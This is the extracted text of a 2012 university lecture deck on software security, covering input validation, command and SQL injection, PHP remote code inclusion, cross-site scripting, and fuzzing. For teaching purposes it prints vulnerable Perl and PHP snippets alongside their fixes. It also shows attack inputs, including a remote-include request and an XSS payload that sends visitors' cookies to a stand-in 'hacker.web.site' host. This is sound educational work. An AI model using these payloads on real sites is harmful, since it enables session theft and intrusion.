so ware security
play

So#ware Security CS461/ECE422 Spring 2012 Reading - PowerPoint PPT Presentation

So#ware Security CS461/ECE422 Spring 2012 Reading Material Chapter 12 of the text Outline Review common vulnerabiliDes in programs Input Checking


  1. So#ware ¡Security ¡ CS461/ECE422 ¡ Spring ¡2012 ¡

  2. Reading ¡Material ¡ • Chapter ¡12 ¡of ¡the ¡text ¡

  3. Outline ¡ • Review ¡common ¡vulnerabiliDes ¡in ¡programs ¡ • Input ¡Checking ¡ • Program ¡Logic ¡Errors ¡ • Errors ¡InteracDng ¡with ¡the ¡OS ¡ • Output ¡handling ¡

  4. So#ware ¡VulnerabiliDes ¡ • Generally ¡a ¡result ¡of ¡poor ¡programming ¡ pracDces. ¡ • OWASP ¡top ¡10 ¡Web ¡ApplicaDon ¡Security ¡risks ¡ – hOps://www.owasp.org/index.php/ Category:OWASP_Top_Ten_Project ¡ – A ¡good ¡number ¡are ¡developer ¡bugs ¡ ¡

  5. Security ¡in ¡Design ¡and ¡Architecture ¡ • Security ¡concerns ¡must ¡be ¡considered ¡up ¡front ¡ • Security ¡impacts ¡system ¡architecture ¡ ¡ – Perhaps ¡re-­‑architect ¡to ¡ameliorate ¡security ¡ concerns ¡ – Security ¡architecture ¡can ¡be ¡used ¡to ¡drive ¡tesDng ¡ – True ¡even ¡for ¡projects ¡with ¡no ¡“security ¡features” ¡ • Leaving ¡security ¡to ¡the ¡test ¡phase ¡(or ¡later) ¡is ¡ not ¡a ¡good ¡idea ¡to ¡say ¡the ¡least ¡

  6. Defensive ¡Programming ¡or ¡ ¡ Secure ¡Coding ¡ • Mostly ¡good ¡so#ware ¡engineering ¡ – Except ¡when ¡considering ¡security ¡must ¡consider ¡a ¡ malicious ¡actor ¡ – TradiDonal ¡so#ware ¡engineering ¡concentrates ¡ dealing ¡with ¡errors ¡due ¡to ¡accidents ¡ • Goal ¡ – ConDnued ¡funcDoning ¡of ¡so#ware ¡in ¡spite ¡of ¡ unforeseeable ¡usage ¡of ¡said ¡so#ware. ¡ • Conflicts ¡with ¡Dme ¡to ¡market ¡

  7. Make ¡No ¡AssumpDons! ¡ • Don’t ¡assume ¡the ¡user ¡won’t ¡enter ¡more ¡than ¡ 512 ¡characters ¡on ¡the ¡command ¡line ¡ • Don’t ¡that ¡there ¡will ¡always ¡be ¡enough ¡disk ¡ space ¡ • OR ¡codify ¡and ¡enforce ¡your ¡assumpDons ¡

  8. Handling ¡User ¡Input ¡ • This ¡is ¡where ¡the ¡user ¡(malicious ¡or ¡innocent) ¡ can ¡directly ¡impact ¡the ¡program ¡ – Always ¡verify ¡the ¡user ¡input ¡ – White ¡list ¡expected ¡results ¡ • Input ¡can ¡come ¡from ¡a ¡number ¡of ¡places ¡ – Text ¡entry ¡ – ConfiguraDon ¡files ¡ – Environment ¡variables ¡ – Network ¡

  9. InjecDon ¡AOacks ¡ • Error ¡in ¡input ¡handling ¡that ¡results ¡in ¡ unexpected ¡execuDon ¡flow ¡ • O#en ¡occurs ¡in ¡scripDng ¡languages ¡ – Script ¡writer ¡expects ¡user ¡input ¡to ¡be ¡data ¡ – But ¡user ¡inputs ¡text ¡that ¡will ¡be ¡interpreted ¡as ¡ code ¡

  10. Unsafe ¡Perl ¡Script ¡ 1 #!/usr/bin/perl 2 # finger.cgi - finger CGI script using Perl5 CGI module 3 4 use CGI; 5 use CGI::Carp qw(fatalsToBrowser); 6 $q = new CGI; # create query object 7 8 # display HTML header 9 print $q->header, 10 $q->start_html('Finger User'), 11 $q->h1('Finger User'); 12 print "<pre>"; 13 14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 print `/usr/bin/finger -sh $user`; 17 18 # display HTML footer 19 print "</pre>"; 20 print $q->end_html;

  11. Running ¡Script ¡ • With ¡user ¡= ¡lpb ¡ • Finger ¡user ¡ Login ¡ ¡Name ¡ ¡ lpb ¡ ¡Lawrie ¡Brown ¡ • With ¡user=‘xxx; ¡echo ¡aOack ¡success; ¡ls ¡finger*’ ¡ • Finger ¡User ¡ aOack ¡success ¡ finger.cgi ¡ ¡finger.html ¡ • Command ¡injecDon. ¡ ¡Running ¡arbitrary ¡ commands ¡at ¡the ¡privilege ¡of ¡the ¡web ¡user ¡id. ¡

  12. Safer ¡Script ¡ • counter ¡aOack ¡by ¡validaDng ¡input ¡ – compare ¡to ¡paOern ¡that ¡rejects ¡invalid ¡input ¡ – see ¡example ¡addiDons ¡to ¡script: ¡ 14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 die "The specified user contains illegal characters!" 17 unless ($user =~ /^\w+$/); 18 print `/usr/bin/finger -sh $user`;

  13. SQL ¡InjecDon ¡ • Or ¡why ¡is ¡this ¡XKCD ¡comic ¡funny ¡ – hOp://xkcd.com/327/ ¡

  14. SQL ¡InjecDon ¡ • another ¡widely ¡exploited ¡injecDon ¡aOack ¡ • when ¡input ¡used ¡in ¡SQL ¡query ¡to ¡database ¡ – similar ¡to ¡command ¡injecDon ¡ ¡ – SQL ¡meta-­‑characters ¡are ¡the ¡concern ¡ – must ¡check ¡and ¡validate ¡input ¡for ¡these ¡ $name = $_REQUEST['name']; $query = “SELECT * FROM suppliers WHERE name = '" . $name . "';" $result = mysql_query($query); $name = $_REQUEST['name']; $query = “SELECT * FROM suppliers WHERE name = '" . mysql_real_escape_string($name) . "';" $result = mysql_query($query);

  15. Code ¡InjecDon ¡ • further ¡variant ¡ • input ¡includes ¡code ¡that ¡is ¡then ¡executed ¡ – see ¡PHP ¡remote ¡code ¡injecDon ¡vulnerability ¡ • variable ¡+ ¡global ¡field ¡variables ¡+ ¡remote ¡include ¡ – this ¡type ¡of ¡aOack ¡is ¡widely ¡exploited ¡ <?php include $path . 'functions.php'; include $path . 'data/prefs.php'; GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls

  16. Cross ¡Site ¡ScripDng ¡(XSS) ¡ l Goal ¡– ¡Inject ¡malicious ¡code ¡into ¡web ¡pages ¡ viewed ¡by ¡others. ¡ - Sites ¡that ¡allow ¡HTML ¡formaOed ¡user ¡input ¡to ¡be ¡ stored, ¡e.g. ¡Blog ¡comments, ¡wiki ¡entries. ¡ - Enter ¡the ¡following ¡into ¡a ¡form ¡that ¡then ¡shows ¡ the ¡original ¡query ¡in ¡the ¡response. ¡ l <script>confirm("Do ¡you ¡hate ¡purple ¡dinosaurs?");</ script> ¡ 04/10/07 ¡ 16 ¡

  17. XSS ¡Example ¡ • cf. ¡guestbooks, ¡wikis, ¡blogs ¡etc ¡ • where ¡comment ¡includes ¡script ¡code ¡ – e.g. ¡to ¡collect ¡cookie ¡details ¡of ¡viewing ¡users ¡ • need ¡to ¡validate ¡data ¡supplied ¡ – including ¡handling ¡various ¡possible ¡encodings ¡ • aOacks ¡both ¡input ¡and ¡output ¡handling ¡ Thanks for this information, its great! <script>document.location='http://hacker.web.site/cookie.cgi?'+ document.cookie</script>

  18. Alternate ¡Encodings ¡

  19. Input ¡Checks ¡ • Example ¡of ¡evading ¡input ¡checks ¡ – Samy’s ¡explanaDon ¡of ¡his ¡Myspace ¡worm ¡ – hOp://namb.la/popular/tech.html ¡ • Canonicalize ¡input ¡before ¡performing ¡checks ¡ – Map ¡the ¡mulDple ¡versions ¡of ¡‘A’ ¡to ¡a ¡parDcular ¡value ¡ • Issue ¡for ¡numeric ¡values ¡too ¡ – Is ¡the ¡number ¡16 ¡bits ¡or ¡32? ¡ – Signed ¡or ¡unsigned? ¡ • NegaDve ¡number ¡or ¡large ¡posiDve ¡ ¡

  20. Input ¡Fuzzing ¡ • Generate ¡“random” ¡inputs ¡to ¡test ¡programs ¡ – Environment ¡variables ¡ – Input ¡strings ¡ – Network ¡values ¡ • Could ¡be ¡completely ¡randomized ¡or ¡somewhat ¡ structured ¡ – Minifuzz ¡ – ShareFuzz ¡ – Spike ¡ – MuDynamics ¡ • Standard ¡component ¡of ¡Microso#’s ¡So#ware ¡ Development ¡Lifecycle ¡

  21. More ¡Fuzz ¡-­‑ ¡SPIKE ¡ • An ¡input ¡language ¡for ¡creaDng ¡variant ¡network ¡ packets ¡ • From ¡WireShark ¡output, ¡make ¡it ¡easy ¡to ¡express ¡new ¡ packets ¡ – a_binary(“00 ¡01 ¡02 ¡03”) ¡ Data: ¡<00 ¡01 ¡02 ¡03> ¡ – a_block_size_big-­‑endian_word(“Blockname”); ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡00> ¡ – a_block_start(“Blockname”) ¡ a_binary(“05 ¡06 ¡07 ¡08”) ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡00 ¡05 ¡06 ¡07 ¡08> ¡ – a_block_end(“Blockname”); ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡04 ¡05 ¡06 ¡07 ¡08> ¡

  22. WriDng ¡Correct/Safe ¡Code ¡ • Is ¡your ¡algorithm ¡correct? ¡ – Incorrect ¡use ¡of ¡random ¡number ¡generators ¡ • Bad ¡seeds ¡ • E.g. ¡Code ¡Red ¡and ¡Netscape ¡ • TCP ¡session ¡hijacking ¡ – How ¡random ¡is ¡the ¡sequence ¡number? ¡ • Leaving ¡in ¡test ¡code ¡ – Used ¡by ¡Morris ¡Worm ¡

  23. Is ¡there ¡a ¡bug ¡in ¡the ¡compiler? ¡ • Ken ¡Thompson ¡Trojan ¡compiler ¡example ¡ • Required ¡for ¡higher ¡levels ¡of ¡Common ¡Criteria ¡ – Correspondence ¡of ¡design, ¡source, ¡and ¡object ¡ code. ¡ ¡

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend